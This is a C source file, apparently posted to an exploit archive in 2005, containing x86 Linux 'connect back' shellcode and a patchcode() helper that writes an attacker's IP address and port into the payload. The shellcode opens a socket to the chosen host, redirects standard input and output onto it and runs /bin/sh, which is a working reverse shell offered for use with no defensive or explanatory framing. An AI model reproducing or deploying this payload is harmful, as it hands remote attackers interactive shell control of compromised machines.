51 lines
No EOL
1.9 KiB
C
51 lines
No EOL
1.9 KiB
C
/*---------------------------------------------------------------------------*
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* 90 byte Connect Back shellcode *
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* by Russell Sanford - xort@tty64.org *
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*---------------------------------------------------------------------------*
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* filename: x86-linux-connect-back.c *
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* info: Compiled with DTP Project. *
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* discription: This is a x86-linux connect back shellcode. Just invoke *
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* the function patchcode() before using shellcode. The format *
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* for invoking patchcode is as follows: *
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* *
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* patchcode(shellcode,"11.22.33.44",31337); *
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*---------------------------------------------------------------------------*/
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char shellcode[] =
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"\x31\xc0\x6a\x01\x5b\x50\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x5b\x43\x5f\x68"
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" xor\x81\x04\x24t@tt\x68y64.\x81\x04\x24org \x6a\x10\x51\x50\x89\xe1\xb0\x66"
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"\xcd\x80\x5b\x31\xc9\x6a\x3f\x58\xcd\x80\x41\x80\xf9\x03\x75\xf5\x31\xc0\x50"
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"\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b"
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"\xcd\x80\xeb\xfe";
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int find_safe_offset(int INT_A) {
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int INT_B=0;
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do {
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INT_A -= 0x01010101; INT_B += 0x01010101;
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}
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while ( ((INT_A & 0x000000ff) == 0) ||
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((INT_A & 0x0000ff00) == 0) ||
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((INT_A & 0x00ff0000) == 0) ||
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((INT_A & 0xff000000) == 0) );
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return INT_B;
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}
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void patchcode(char *shellcode, char *IP, int PORT) {
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int IP_A = inet_addr(IP);
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int IP_B = find_safe_offset(IP_A);
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int PORT_A = ((ntohs(PORT) << 16) + 2);
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int PORT_B = find_safe_offset(PORT_A);
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*(int *)&shellcode[19] = (IP_A - IP_B);
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*(int *)&shellcode[26] = IP_B;
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*(int *)&shellcode[31] = (PORT_A - PORT_B);
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*(int *)&shellcode[38] = PORT_B;
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}
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// milw0rm.com [2005-12-28]
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